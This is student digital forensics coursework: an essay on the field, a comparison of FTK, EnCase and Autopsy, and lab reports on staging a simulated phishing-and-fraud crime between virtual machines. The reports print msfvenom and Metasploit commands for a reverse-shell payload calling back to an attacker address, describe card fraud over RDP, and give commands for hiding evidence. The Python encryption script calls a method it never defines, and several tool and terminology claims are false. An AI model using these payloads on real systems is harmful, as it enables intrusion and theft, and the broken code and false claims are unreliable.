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Module: Digital Forensics
Course Work: Task 1
Title: Research on Digital Forensics

1.1 Current State of Field: 
For the past thirty years, “computer forensics” has been used to describe the process of acquiring forensic evidence from computers, hard drives, and other associated devices that are under investigation, often in relation to computer crimes. The development of new technologies has resulted in changes to communication methods. Information is currently transmitted via files, emails, texts and other digital exchanges in the form of data. The phrase “digital forensics” refers to the investigation conducted on these data. 
Based on the kinds of devices, digital forensics can be separated into the following categories: computer, network, mobile, cloud, internet of things forensics. Without the use of digital forensics, cybercriminals' exploits would remain undetected, resulting in financial loss and irreversible harm to their reputation.
All the credible evidences must be collected from the crime scene. The collected evidence needs to be stored carefully, without any damage or data alterations to guarantee its integrity. The three CIA triads that Digital Forensics upholds are Integrity, Confidentiality, and Authenticity. 
Digital forensics is the identification, preservation, analysis, and presentation of digital evidence in a court of law. Procedures for digital forensic investigations involve gathering and preserving the evidence, verifying information collected for use in court, and recovering erased files and other information that is still accessible. 
The need to understand and carefully examine the evidence has made digital forensics technologies an essential component of law enforcement investigations.  Law enforcement authorities employ adequate measures to enhance their evidence analysis techniques in order to combat cyberterrorism, data breaches, data theft, identity fraud, and other related crimes.
As part of their cybersecurity program, businesses should set up monitoring standards, outline the regular assessment of forensics policies, guidelines and procedures and include contact information for law enforcement. The size of the investigation unit is determined by the degree of compromise.
The organization’s incident response team can identify malware, file carving, partition analysis, hardware and system failures and other data recovery related issues with digital forensic techniques. Digital forensics tools come handy to identify the location of compromise in applications, networks, mobile devices, operating systems, hardware, and storage media. To solve complex issues like data breaches, data theft and vulnerability exploitation, businesses may seek law enforcement officers or outside digital forensic experts to work with incident response teams. This will contribute to the future implementation of alert and event monitoring technologies.
1.2 Intersection of Digital Forensics and Cybersecurity: 
The internet is growing faster every day. Business use the internet to expand globally, while individual internet users use it for online shopping, entertainment and education. This attracts cybercriminals, who utilize these electronic devices as their targets for hacking. Every year, there are increasing number of cyberattacks as individuals use more and more digital gadgets. When the proof of the cybercrime is recovered, we must be able to prove in court that the hackers are responsible for the attack.
Cybercriminals can launch a remote attack without physically being at the location of the crime. Data collected from these digital devices during the digital forensics investigation serves as the evidence. Through data recovery, information that has been accidentally or purposely lost can be found again. The quantity of data that can be recovered varies from case to case. It is possible to examine and correlate log entries from different devices using log monitoring tools.
Digital forensics tools like FTK, Cellebrite, and Encase have aided in the full investigation of the evidence from the crime scene and posed an immediate threat to cybercriminals because it is possible to reproduce the crime using the valid evidence. When the complete recording of the entire investigation is turned into a report that is acceptable in the court, the cybercriminals may be found guilty based on the examined evidence.
Adherence to regulatory compliance is crucial for businesses to function properly. When data is lost or altered, the incident response phases are implemented such as preparation, identification, containment and mitigation, eradication, recovery, lessons learned and continual improvement. Experts in digital forensics use their tools to recover data from low-risk scenarios, contain them, and record their learnings so that they don't happen again. This makes it easier for cybersecurity experts to understand the motivations behind employee behavior and to manage security awareness training programs or security measures within the organization.
By implementing proactive cybersecurity measures, maintaining an incident response team, and employing continuous monitoring techniques, businesses may prevent cyberattacks. In the event of an incident, these actions will assist in gathering, reviewing, and preserving evidence, allowing for the implementation of robust security measures.
1.3 Emerging Trends: 
In order to effectively address new difficulties in the ever-evolving landscape of cybercrime, digital forensics specialists must remain vigilant, keep up to date on their abilities, and be ready to accept new technologies and methods. In order to address these instances and the ongoing emergence of new cybercrime forms, it is also necessary to employ improved techniques, new technology, and adaptive investigation process models.
Digital forensics procedures might grow more automated over time, enabling faster reaction times and more effective management of big databases. Initial stages of an investigation can benefit from automation, freeing up human experts to work on more difficult jobs. In the future, Artificial Intelligence Machine Learning (AIML) techniques are to speed up the processing time.
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Figure: 1.1 Emerging Fields in Digital Forensics

Digital forensics will probably need to adjust to new laws like GDPR (General Data Protection and Regulations) and ethical standards as privacy concerns become more pressing. It will always be difficult to strike a balance between the need for investigations and people's right to privacy. A proactive response to security events can be achieved by combining cyber threat intelligence and digital forensics. This entails improving investigation procedures by utilizing knowledge on new risks.
In fact, 85% of criminal investigations involve electronic devices, according to the EU. Each stage of the inquiry is identified by a specific set of actions; timely investigations are made possible by the use of digital forensic frameworks; and the timeline of events and the dates that correspond with them are accurately reconstructed. [1]
Maintaining the evidence chain of custody properly is essential to a digital investigation since improper handling of it may result in irreconcilable disparities that jeopardize the admissibility of the evidence in court. Blockchain is a potentially exciting new technology.
			
1.4 Key Challenges: 
Digital forensics must conduct the following forensic investigation steps: examine the crime scene, collect and evaluate evidence, and prepare an extensive report. Investigators need permission to interview witnesses, inspect the scene, collect evidence without deleting any data, and analyze it all within the crime scene. In response to the tragedy, forensic experts must establish protocols and put together an investigative team in order to evaluate the crime scene as soon as possible and thoroughly. Preserving the chain of custody and protecting the evidence from data manipulation are crucial steps in the gathering of evidence.
Reviewing large files like 4TB of evidence or the volume of data required to diagnose an operating system issue takes longer because of their size. Investigation experts need to gain knowledge and experience to handle various evidence types and formats during digital investigations which is challenging. Text messages sent over the phone, video files, call logs, email exchanges, malware analysis, executable files, images, source code, databases, phone signal strength, timestamp formats, device configurations, computer documents, network traffic, and data in the form of user data, metadata, activity logs, and systems logs are just a few examples of the many evidence types examined.
Proficiency in digital forensics is a prerequisite for using techniques that allow for the covert extraction of encrypted data with minimal to no data from hard drives, mobile devices and network devices. Every piece of data needs to be examined in order to help find the true proof. The fundamental inquiries of what, who, why, how, when, and where can all be answered in an investigation using scientific methodology. These facts need to be thoroughly examined, documented, and supported by the relevant pieces of evidence for each category in order to be filed in court.
Smartphones, PDAs, PCs, servers, cameras, routers, modems, and other network hardware are a few examples of digital sources. In order to evaluate these numbers in court using the information that has been given, attorneys must acquire new knowledge. It is a challenging task for forensic experts to review all the evidence to ensure that no innocent person is prosecuted. The entire procedure takes a lot of time, and it takes a while to arrive at the scene with the necessary number of forensic specialists to solve the crime.
Cybercrime routinely crosses international borders, raising legal problems and exposing various legal systems and law enforcement tactics. This makes digital forensic investigations that impact multiple nations and areas more challenging.


1.5 National and International Job Market
Many industries in the UK are experiencing an increase in demand for digital forensics experts, and they are all actively seeking these professionals to handle digital evidence and strengthen their cybersecurity posture. Experts in digital forensic tools, techniques, and methodologies are needed in order to conduct forensic analysis, look into security incidents, and provide expert testimony in court. A digital forensics investigator in the UK makes, on average, £18.10 per hour, or £35,303 per year. Entry-level jobs start at £32,331 a year, while the majority of experienced workers make up to £53,345 annually.
Cybersecurity Consultant/Specialist, Mobile Device Forensic Analyst, Network Forensic Analyst, Forensic Examiner/Technician, Incident Response Analyst/Engineer, Digital Forensic Analyst/Investigator, Law Enforcement Digital Forensic Specialist, and more roles are available in this field. Numerous industries may offer these job opportunities, such as consulting firms, cybersecurity companies, law enforcement, government agencies, banking and financial institutions, healthcare, technology firms, legal services, and sizable businesses engaged in digital investigations and cybersecurity.
Experts in digital forensics were becoming more and more in demand worldwide. Opportunities abroad included employment in cybersecurity firms, multinational corporations, foreign law enforcement agencies, consulting firms, government agencies, and international organizations that required expertise in digital forensics for risk management, compliance, incident response, and investigations. The legislative and legal frameworks of different nations have an impact on the nature of duties related to digital forensics. Professionals having familiarity with many legal frameworks, global norms, and cross-border investigations had an advantage in the global job market.
Relevant credentials and certificates (such as the Certified Forensic Computer Examiner (CFCE), Certified Information Systems Security Professional (CISSP), and Computer Hacking Forensic Investigator (CHFI) are necessary in the digital industry in order to get employment both domestically and internationally. Professionals with real-world experience and current technological expertise are highly sought for.
However, the job market and specific demands in digital forensics may have evolved since then due to ongoing technological advancements, modifications in cyberthreats, and changing regulatory frameworks. It is advisable to research industry studies, professional networks, and current job adverts to obtain up-to-date insights on the current employment market trends and requirements in digital forensics, both in the UK and abroad.
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2.1 Current state of digital forensic tools, their features and capabilities: 
Cybercriminals break into computers and networks, without physically being present at the crime scene. To gather evidence from software or hardware products, digital forensic tools and techniques are employed. With the aid of these tools, forensic investigators can look through digital data to look for any proof of criminal activity. In court, the issuance of tools is admissible provided there is credible evidence. Evidence source identification is aided by chain of custody.
For the aim of tracking evidence, procedures for extracting data from evidence are thoroughly documented. Throughout the course of the investigation, care must be taken to prevent tampering with the evidence. Digital forensics tools can assist in gathering metadata data for evidence. Evidence integrity checks, date and time stamps of the evidence collection can be tracked using metadata. The market is filled with both commercial and open source forensics products.
2.1.1 Open-Source Tools: 
Sleuth Kit, Autospy, Wireshark, Nmap, Volatility, Exiftool, Free Hex Editor Neo, MVT
2.1.2 Commercial Tools: 
Encase, Forensic Toolkit (FTK), Cellebrite, WinHex, Magnet Axiom, ProDiscover/ [2]

2.1.3 Digital Forensics Categories and its tools: 
2.1.3.1 Image Capturing: 
To save data from another device, external hard drives, USB drives, or SD cards are commonly utilized. To image these devices, specialized image capture tools or forensic software like FTK Imager, EnCase, or dd (disk dump) are utilized. By copying the original storage media or device bit-for-bit, these programs make sure that no data is changed in the process. Using hashing on the file system enables forensic investigators to confirm the data's integrity. Since the hash values disagree, there may have been manipulation or changes made to the file system or data.
Crucial information, such active network connections, plaintext passwords, open processes, and other particulars, might not be retained on your hard drive but rather in volatile memory (RAM). Programs like Volatility Framework and DumpIt are used to capture this volatile memory for later analysis.
2.1.3.2 Database Forensics: 
Database tables, containing records, fields, and links, as well as any unauthorized modifications or deletions, are examined by forensic analysts. To comprehend the schema, table relationships, access restrictions, and other pertinent information, metadata which contains details about the features and structure of the database is also examined. Transaction logs and database logs provide records of every operation pertaining to the database, such as adding, modifying, and removing rows or entries from tables. This specifies who accessed it, what was done, and when modifications are performed. These logs are extracted, examined, and put through forensic procedures in order to reconstruct the chronology and order of events and uncover any illegal or questionable information, such as attempted unauthorized access, possible security breaches, and data tampering.
2.1.3.3 Network Forensics: 
Investigators can inspect the contents of each packet, including source and destination addresses, protocols, payloads, and any anomalies or malicious behavior, by using tools like Wireshark and Nmap, which capture packets transiting through network interfaces. It is crucial to configure the appropriate network device or Ethernet interface port that the traffic of interest passes through in order to collect network traffic efficiently. Spoofed packets are examined using network forensics tools and methodology. Through packet capture analysis, investigators reconstruct network traffic flows and create event timelines. This aids in comprehending the flow of network activity, locating the attack's origin, estimating the extent of the compromise, and producing an event timeline for forensic examination.
2.1.3.4 Mobile Forensics: 
In order to gather information for forensic investigations, investigate incidents, and extract evidence, mobile forensics examines and analyzes data saved on smartphones, tablets, or SIM cards. To retrieve data from these devices, make copies (images), compute hashes to ensure data integrity and save the original data, forensic tools and methods are employed. Contacts, phone records, SMS messages, and network-related data are all stored on SIM cards. We are able to retrieve data from cloud backup user accounts, including messages, app data, device settings, images, and videos, provided we have the appropriate permissions. Telecommunications companies are able to supply pertinent data, including call logs, SMS details, location data, and data consumption logs pertaining to your mobile device, upon request.
Data extraction, analysis, and interpretation from mobile devices are done using a variety of forensic instruments and software programs, including Magnet AXIOM, Oxygen Forensic Detective, and Cellebrite. With the aid of these tools, you can investigate device artifacts, recover deleted data, and reconstruct events that are connected to your inquiry. Investigations using mobile forensics must adhere to legal criteria and protect privacy rights.

2.2 Evaluate Open-Source forensics tools with Commercial forensics tools: 
Open-source technologies allow for the free download of source code. Technology that is made accessible to the general public and is usable, updateable, and shareable is known as open-source technology. Because open-source tools are adaptable and may be expanded with new functionality to complete specific tasks, the technology utilized in the program can be improved. Access to the source code will enhance the quality of the process by facilitating the repair of errors discovered during the testing stage. Access to the program's source code will be restricted to the end user.
Comparing commercial forensic tools to open-source tools, they are more costly due to license restrictions and expert assistance; however, they also include warranty support. Open-source solutions, on the other hand, does not require license purchase but have sporadic security upgrades, no support guarantee, and a limited warranty. Users can discuss issues they have encountered and verify the error rate with each other in open-source community forums.
Open-source tools are portable, meaning that the license does not need to be updated when using them on multiple platforms, in contrast to commercial tools, which can only be used on the system on which they are installed.

2.2.1 Open-source tool (Sleuth kit/Autopsy) vs Commercial tools (Encase and FTK):
Sleuth kit/Autopsy is a Linux-based utility that can be difficult for Windows users to use. Autospy offers the Linux Command Line Support. The ideal version of Autopsy to utilize is the Windows version. FTK and Encase are commercial products featuring an intuitive user interface. Users who possess the requisite knowledge and skills in computer and forensic theory can operate FTK and Encase.
Sleuth Kit/Autopsy is compatible with Windows, Linux, and Mac OS X and can be installed without a license. FTK and Encase are both licensed software applications. Both FTK and Encase are licensed software programs for Windows systems.
Graphical user interface (GUI), is included in the FTK, Encase, and Sleuth kit/Autospy. Autospy is able to locate digital evidence, whereas Encase and FTK are able to process digital data. Autospy supports the *.dd and *.img disk image formats. These formats are used in digital forensics for imaging and disk content analysis. Both FTK and Encase support Raw (dd), SMART, and Encase (.E01). This enables users to collect, review, and generate reports in many formats during the disk imaging process.
File carving features in Autospy are quite powerful. Carving is the process of extracting information out of raw data without using metadata. Utilizing file format analysis, file carving is the process of locating and retrieving files. File carving is applicable in situations where a file system's structure is lost, changed, or destroyed. Encase and FTK do not support file carving techniques.
With keyword/string search and indexing, it is challenging in Sleuth kit/Autospy while Encase and FTK offer a great deal of search flexibility. For the Symantec Bitlocker tool, FTK and Encase offer encryption functionality; Autospy does not.
Both FTK and Encase support including Apple File System while AutoSpy support major file systems such NTFS, FAT, ExFAT, HFS+, Ext2/Ext3/Ext4, YAFFS2. [3]
Autospy is significantly faster than FTK and Encase since it uses less memory. While FTK and Encase are proprietary tools that must be purchased and incur significant expenses. Sleuthkit - Autospy is an open-source program that may be downloaded for free.
With purchases from FTK and Encase, customer assistance is ready to use and available. Although open-source solutions such as Sleuth kit/Autospy lack expert support, they can collaborate with other members of the general community.
Pyflag can work with forensic images, memory dumps, logs, and network captures by utilizing Sleuthkit features. FTK and Encase cannot work with memory dumps or network captures.
Its expandable design allows for the integration of modules made by the community or especially for it. To satisfy the demands of hundreds of thousands of specialists in law enforcement, national security, corporate investigation, and litigation assistance, autopsy is always evolving.
	
	
FTK
	
ENCASE
	
AUTOSPY

	Forensic Tools
	Commercial Tool
	Commercial Tool
	Open-Source Tool

	License
	Purchase License
	Purchase License
	No License Required

	Download
	Not Available
	Not Available
	Free to download

	Portable
	Proprietary Tool
	Proprietary Tool
	Yes, it is Portable

	Warranty
	Available
	Available
	Not Available

	Customer Support
	Upon Purchase
	Upon Purchase
	Community Support Forum

	Operating System
	Windows
	Windows
	Windows, MacOS X, Linux

	Graphical User Interface
	GUI is Available
	GUI is Available
	GUI is Available

	Memory Usage
	High Memory
	High Memory
	Low Memory

	Speed
	Slower
	Slower
	Faster

	Keyword Search
	Flexible
	Flexible
	Difficult to use

	Image Formats
	Raw (dd), SMART, E01
	Raw (dd), SMART, E01
	Raw (dd), IMG

	Module Integration
	Not Available
	Not Available
	Flexible

	Symantec / Bitlocker Encryption  Support
	Available
	Available
	Not Available

	Shareable / Adaptable
	Not Available
	Not Available
	Available

	Network Capture / Memory Dump
	Not Possible
	Not Possible
	Using Pyflag, it is Possible

	Apple File System
	Supports APFS
	Supports APFS
	Does not Support APFS

	Security Upgrade
	Always Available
	Always Available
	Sporadic Security Updates


Table 2.1 Comparison of FTK, Encase and Autospy
Theme: Financial Crime
Task 3: Evidence Creation Team Report
Team C - Sakthi, Pranjal, Bala, Sneha, Arya, Mehul



Introduction:
The attacker hacks the victim’s wireless connection and sends a phishing email describing about the possible job openings available in USA with the job description attached to the email but the attachment contains the reverse shell payload. After sending the phishing email, the attacker initiates msfconsole and listens for any active sessions. By mistake, the victim executes the payload which establishes the meterpreter session. The attacker monitors the user activities using shell commands, possible remote screen capturing techniques. In the meantime, the attacker finds out that the victim is ordering products from amazon.com site. The attacker launches the remote desktop connection with the victim machine and orders his exclusive products using the victim’s login credentials. How the victim finds the crime and recovers from it, is shown in the execution steps using the evidences collected with the timestamp.

Setup:
The entire task is executed within the Oracle VirtualBox. The attacker machine is Kali Linux and the victim machine is Windows 10 Home. Both the machines are within the same network using Natnetwork option in the Oracle VirtualBox. This simulation setup the two virtual machines in the same wireless connection.

Analysis: 
Setoolkit is extensively tested and verified to create the malware payload in pdf format which is widely used method to define the job description. Reverse shell payload is created in pdf format, but when it is executed in the victim’s machine, the meterpreter is not able to establish a stable active session. Finalized within the team to utilize msfvenom to create the payload.

Execution: 
Step: 1 - Reverse Shell payload Creation: 
Below command is utilized to create the payload in the executable format. The collected payload is password protected and send out with the phishing email from the attacker machine.
# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.6 lport=4455 -f exe > jobroles.exe
#  rar a -p jobroles.rar jobroles.exe
Evidence: A - Phishing Email

Step: 2 - Executing the reverse_tcp Exploit:
Reverse_tcp payload is set along with the other options to enable the exploit so that the hacker can establish a session with the victim’s machine. Once the victim opens the email and executes the payload without issues, meterpreter session is established. Attacker uses screen capture technique to monitor victim’s activities on the Windows client.
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.100.6
msf6 exploit(multi/handler) > set lport 4455
msf6 exploit(multi/handler) > exploit
meterpreter >
Evidence: B - Screencapture session Screenshots
Step: 3 – Establishing RDP Session
Hacker is able to watch the victim’s activities without interruption using screen capture. On such occasion, the victim logs into his amazon account and makes orders using saved credit card. The attacker takes the RDP session using xfreerdp client, changes the address to the attacker home address and orders two iPhone 15 using the same saved credit card in the victim’s amazon account. 
Evidence: C - RDP session Screenshots
Evidence D - Victim Order Confirmation

Step: 4 - Account Closure
Victim receives the order confirmation of two iPhone 15 to his email address. Victim panics and reaches out to Amazon Customer Service, files a complaint using the victim’s details and requests to proceed with the account closure upon advice.
Evidence E - Attacker Order Confirmation

Location of Evidences with Timestamp:
A - Phishing Email - Windows – documents folder - 23/11/2023 11:25PM
B - Screencapture Screenshots – /root - 23/11/2023 11:44.50PM
C - Victim Order Confirmation – documents folder - 23/11/2023 11:45PM
D - RDP Session Verification – Redundant Data = 23/11/2023 11:54:27PM
Event Logs - event id; 4624
E - Attacker Order Confirmation – documents folder - 23/11/2023 11:57PM





Digital Forensic Tools:
Hidden files and Encryption:
Steganography and other hidden methods are used to hide the evidence in kali and windows. PGP Encryption is used to encrypt pdf files and located in documents folder with key in 7Zip folder.
Steganography Command: 
Screencapture screenshots are hidden in the image file.
steghide embed –cf cover_image.jpg –ef hidden_image.jpg
Passphrase: kali

Hidden Folder: 
RDP Library which is used to setup rdp session with the Windows 10 machine. Using University Azure account, Remote Desktop Connection is not possible with Windows 10 Home machine but is only on Windows 10 Pro machine.
attrib +h +r +s “RDP Wrap Library”


PGP Encryption: 
Key-pair is used to encrypt Evidence A, C, E and placed in the Documents folder in Windows 10 Home machine

Hard Drive Partition:
Disk Management is utilized to make E and F drive partition in the hard disk. Each partition is executed to host Windows client (E) and Kali Linux (F) images into it separately. Finally Windows and Kali Linux images are loaded into the hard drive.

Exchange of Hard Drive:
Chain of custody form is filled in with hard drive details, is processed when the hard drive is handed over to Team A.
---------- ----------- ------------




Imaging Issues:
The evidences are kept in the Windows machine documents folder to ease the evidence collection process under the user profile – ksakthii but the Windows image doesn't contain the user profile 'ksakthii'. I have exported the complete user's folder from the windows image as a proof and shared the screenshot of it here. There might be some errors in the imaging process. The evidences are currently not there in the windows image in the handed-over hard drive. 

[image: C:\Users\sakthi\Pictures\UWTSD\Capture.JPG]

Case: 2 
The provided data to Team A, are in the form of Windows, Kali Linux images with the evidences in the form of pdf, image, rar files. These evidences files are already submitted with the Team Report. As per requisition from Team A and to overcome the imaging issues, the evidence files are directly placed in the hard drive with few changes to accommodate the elimination of placing the evidences in Windows and the Kali Linux images. These changes are communicated to Team A and confirmation is received from Team Lead, Ellis

Exchange of Hard Drive:
To perform this action, the Chain of custody is filled in the hard details and is processed when the hard drive is collected back from Team A.

PGP Encryption:
The same gpg4win software is used to establish the key-pair encryption on Evidence A, C, E. But we didn’t have a good place to hide PGP Private Key. We added a python code to encrypt the private key and it is hidden in the images. This simple Python script calls a cryptography module, fernet to encrypt the key and hashes the password to the key file.

import base64
import getpass
import hashlib
import os
import sys
from cryptography.fernet import Fernet, InvalidToken
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
class TextCrypt():

    prefix = 'gAAAAAB'

    def __init__(self, password: str):
        self.password = password

    def encrypt(self, plaintext: str) -> str:
        fernet_key = self.get_fernet_key(self.password)
        ciphertext = fernet_key.encrypt(plaintext.encode()).decode()
        return ciphertext.split(f'{self.prefix}')[1]

    def get_fernet_key(self, password: str) -> Fernet:
        salt = self.get_hash(password)
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA256(),
            length=32,
            salt=salt,
            iterations=100000,
        )
        key = base64.urlsafe_b64encode(kdf.derive(password.encode()))
        f = Fernet(key)
        return f

    @staticmethod
    def get_hash(password: str) -> bytes:
        h = hashlib.sha512()
        h.update(password.encode())
        return h.digest()

def main():
    from_file = input('Get text from a file [y/N]? ')
    if from_file == 'y' or from_file == 'Y':
        try:
            filename = input('\nFilename: ')
            with open(filename, 'r') as file:
                text = file.read()
        except FileNotFoundError as error:
            print(error)
            return
    else:
        hide = input('Hide text input? [Y/n]? ')
        if hide == 'n' or hide == 'N':
            text = input('\nText: ')
        else:
            text = getpass.getpass(prompt='\nText: ', stream=None)
    if len(text) > 0:
        password = getpass.getpass(prompt='\nPassword (min. length is 8): ', stream=None)
        if len(password) >= 8:
            mode = input('Encrypt or decrypt the text [E/d]? ')
            if mode == 'd' or mode == 'D':
                if os.path.exists('plaintext.txt'):
                    print('\nError: file plaintext.txt already exists')
                    return
                else:
                    plaintext = TextCrypt(password).decrypt(text)
                    if plaintext is None:
                        print('\nError: incorrect text, password or code')
                    else:
                        if from_file == 'y' or from_file == 'Y':
                            file = open('plaintext.txt', 'w')
                            file.write(plaintext)
                            file.close()
                            print('\nPlaintext saved as plaintext.txt')
                        else:
                            print(f'\nPlaintext: {plaintext}')
                        print('')
            else:
                if os.path.exists('ciphertext.txt'):
                    print('\nError: file ciphertext.txt already exists')
                    return
                else:
                    ciphertext = TextCrypt(password).encrypt(text)
                    if from_file == 'y' or from_file == 'Y':
                        file = open('ciphertext.txt', 'w')
                        file.write(ciphertext)
                        file.close()
                        print('\nCiphertext saved as ciphertext.txt')
                    else:
                        print(f'\nCiphertext: {ciphertext}')
                    print('')
        else:
            print('\nError: password length less than 8')
            return
    else:
        print('\nError: empty text')
        return

if __name__ == '__main__':
    main()



Hiding files:
 The same hiding process is executed on the files stored in the E drive, already created in the given hard drive. The same command is used to execute to hide the files as shown below
> attrib +h +r +s Password-file.txt
> attrib +h +r +s jobroles.rar
> attrib +h +r +s textcrypt.py

Image Hiding:
 To save time from cracking Steganography images, the below hiding technique is used to hide all the evidences in the image file. It can be easily extracted using binwalk stenography tool in the Kali Linux machine.
# rar a xyz.rar Evidence A, Evidence C, Evidence E
# cat xyz.rar > Photo.jpg
# rar a a.rar Evidence B, Encry-Private-key
# cat a.rar > IMG_001.jpg
#rar a b.rar Evidence B, Evidence D
#cat b.rar > IMG_002.jpg

Hard Drive Partition: 
The same E and F drives created during the initial hard drive evidence creation process are maintained, so the evidences are placed in both the drives. Further, the evidences in the image file format are placed in F drive and are hidden using the below given steps
> diskpart
> list volume
> select volume F
> remove letter F
Location of Evidences with Timestamp:
A - Phishing Email – F: drive – Photo.jpg - 23/11/2023 11:25PM
B - Screencapture Screenshots – F: drive – IMG_001.jpg - 23/11/2023 11:44.50PM
C - Victim Order Confirmation – F: drive – Photo.jpg - 23/11/2023 11:45PM
D - RDP Session Verification – F: drive – IMG_002.jpg - 23/11/2023 11:54:27PM
                                                   Event Logs - event id: 4624 – Not possible
E - Attacker Order Confirmation – F: drive – Photo.jpg - 23/11/2023 11:57PM
Conclusion: 
Amazon Account is locked now. The created amazon user account is a fake account specifically created to test this Financial Crime task. To unlock the amazon account, we have to submit the credit card details with the same amazon account username as in the credit card which is not possible. This proves the protection mechanism for Amazon customer account are in place.
Module: Digital Forensics
Course Work: Task 3
Team C: Evidence Creation Individual Report
3.1 Scenario:  Financial Crime
The attacker sends a phishing email explaining about a possible job opportunity in the USA after hacking into the victim’s wireless network. But in reality, the attachment is a reverse shell payload. After sending the phishing email, the attacker opens msfconsole and waits for any active sessions. The meterpreter session is initiated when the victim inadvertently executes the payload. The attacker monitors the user’s action using shell commands and possibly even remote screen capture methods. Meanwhile, the hacker finds out that the victim is placing orders on Amazon.com. The attacker orders his unique items by establishing a remote desktop connection with the victim’s PC using his login credentials. How the victim finds the crime and recovers from it, is shown in the execution steps using the evidences collected with the timestamp.
3.2 My Tasks List:
The attacker’s Kali Linux machine and the victim’s Windows 10 Home machine are the only places, this task runs. This task requires Oracle VirtualBox. The day before the submission deadline, the lab is not available since we have spent more time to confirming SEToolkit’s integration into the environment. This has made us to work remotely after hours. These are the steps, I did.
1. Execution Setup
2. Encryption 
3. Imaging Process with Evidences in Windows and Kali Linux images
4. Hard Drive Creation
5. Sorted Imaging Issues
6. Encryption
7. Hard Drive Re-Created by placing Evidences directly
8. Task Distribution
9. Chain of Custody Form
10. Evidence Creation - Team Report
3.3 Initial Analysis: 
3.3.1 Setup: 
The entire task is executed within the Oracle VirtualBox. The attacker machine is Kali Linux and the victim machine is Windows 10 Home. Both the machines are within the same network using Natnetwork option in the Oracle VirtualBox. This simulation is setup with the two virtual machines in the same wireless connection.
3.3.2 Vulnerability Search:
On Windows 10 Home, Nmap port scanning is performed. The scan results show the presence of SMB ports, but no significant vulnerabilities were found. The Windows 10 Home version is downloaded from Microsoft Azure which comes pre-patched. Ultimately, the decision was made to run the Reverse Shell payload on the Windows 10 Home.
3.3.3 SEToolkit Integration:
To transmit the reverse_tcp payload in PDF format, SEToolkit is introduced. But the pdf file failed to establish a stable meterpreter session to carry out the entire Financial Crime evidence creation process. It is decided by everyone to use msfvenom to complete the assignment.
3.4 Execution: 
3.4.1 Step: 1 - Reverse Shell payload Creation: 
To construct the payload in the executable format, use the command below. The phishing email is sent out from the attacker's machine along with the password-protected payload.
# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.6 lport=4455 -f exe > jobroles.exe
#  rar a -p jobroles.rar jobroles.exe
Evidence: A - Phishing Email
3.4.2 Step: 2 - Executing the reverse_tcp exploit:
Reverse_tcp payload is configured to activate the exploit and allow the hacker to connect to the victim's computer. A successful execution of the payload by the victim upon opening the email establishes the meterpreter session. The attacker watches the victim’s activities using the screen capture mode in meterpreter.
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.100.6
msf6 exploit(multi/handler) > set lport 4455
msf6 exploit(multi/handler) > exploit
meterpreter >
Evidence: B - Screencapture session Screenshots
3.4.3 Step: 3 - Establishing RDP Session
The Kali Linux computer is used to carry out the RDP session. The victim's test Amazon and Hotmail accounts have been setup. 
With screen capture, the hacker can observe the victim's actions without being disturbed. During that time, the victim uses his saved credit card to place orders when he connects into his Amazon account. Using the xfreerdp client, the attacker establishes an RDP session. He then modifies the address to his home address and uses the same credit card that has been saved in the victim's Amazon account to order two iPhone 15s.
Evidence: C - RDP session Screenshots
Evidence D - Victim Order Confirmation

3.4.4 Step: 4 - Account Closure
The order confirmation for two iPhone 15s is sent to the victim's email address. In a panic, the victim contacts Amazon Customer Service, fills out a complaint form with their information, and asks that their account be closed.
Evidence E - Attacker Order Confirmation

3.5 Digital Forensics Tools:
3.5.1 Hiding and Partition:
Hiding and Partition steps are provided by my teammates. Implemented the given steps into the hard drive creation process.
Steganography Command: 
steghide embed –cf cover_image.jpg –ef hidden_image.jpg
Passphrase: kali
Command to Hide Folder: 
attrib +h + r +s ‘RDP Wrap Library’
Drive Partition: 
Disk Management is utilized to make E and F drive partition in the hard drive, Windows image is to be hosted in E drive and Kali Linux image in F drive.

3.5.2 Encryption: 
I used Kleopatra, a PGP encryption program made by Gpg4Win. To encrypt and decode the files, a key pair is required. The private key is kept inside the 7Zip folder, while the public key is used to encrypt Evidence A, C, and E.

3.6 Location of Evidences with Timestamp:
	
	
Evidence Created
	
Location of Evidences
	
Timestamp

	A
	Phishing Email
	Windows – Documents folder
	23/11/2023 11:25PM

	B
	Screencapture Screenshots
	Kali Linux – root folder
	23/11/2023 11:44:50PM

	C
	Victim Order Confirmation
	Windows – Documents folder
	23/11/2023 11:45PM

	D
	RDP Session Verification
	Event Logs, Event id: 4624
	23/11/2023 11:54:27PM

	E
	Attacker Order Confirmation
	Windows – Documents folder
	23/11/2023 11:57PM


Table 3.1 Location of Evidences with Timestamp
3.7 Exchange of Hard Drive:
Chain of custody form filled in with hard drive details, is processed and the hard drive is handed over to Team A.

[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Financial Crime - Delivered.jpeg]

3.8 Imaging process:
To make the evidence gathering process easier, the evidences are kept in the Windows machine documents folder under the user profile ‘ksakthii’. However, the Windows image does not include the user profile, ‘ksakthii’, suggesting that the evidences are not present. The exported user folder from the Windows image is displayed in the screenshot as evidence. There might be some errors in the imaging process.
[image: C:\Users\sakthi\Pictures\UWTSD\Capture.JPG]
Figure: 3.1 Imaging process

3.9 Hard Drive Re-Created
In November, Team C has submitted their team report along with evidences in the form of PDF, images, etc. Team A has got the data in the form of Windows and Kali Linux images. Following Team A’s request and to overcome the imaging issues, the evidence are directly placed on the hard drive, with minor modifications to accept the removal of Windows and Kali images. Informed Team A members and Team A’s Lead agrees to these change request.

3.9.1 Encryption
The same Gpg4win software, Kleopatra is used to establish the key-pair encryption on Evidence A, C, E. But we didn’t have a good place to hide PGP Private Key. We added a python code to encrypt the private key and it is hidden in the image files. This simple online downloadable Python script calls a cryptography module, fernet to encrypt the text file (PGP private key) and hashes the password to the key file. Code input parameter is removed from the code. [4]

$ python3 textcrypt.py
Get text from a file [y/N]? y
Filename: input.txt
Password (min. length is 8): 
Encrypt or decrypt the text [E/d]? E

Ciphertext saved as ciphertext.txt ---- Output
cpp sakthi

3.9.2 Hiding and Partition:
Hiding and Partition steps are already provided by my teammates. Implemented the given steps into the hard drive creation process.

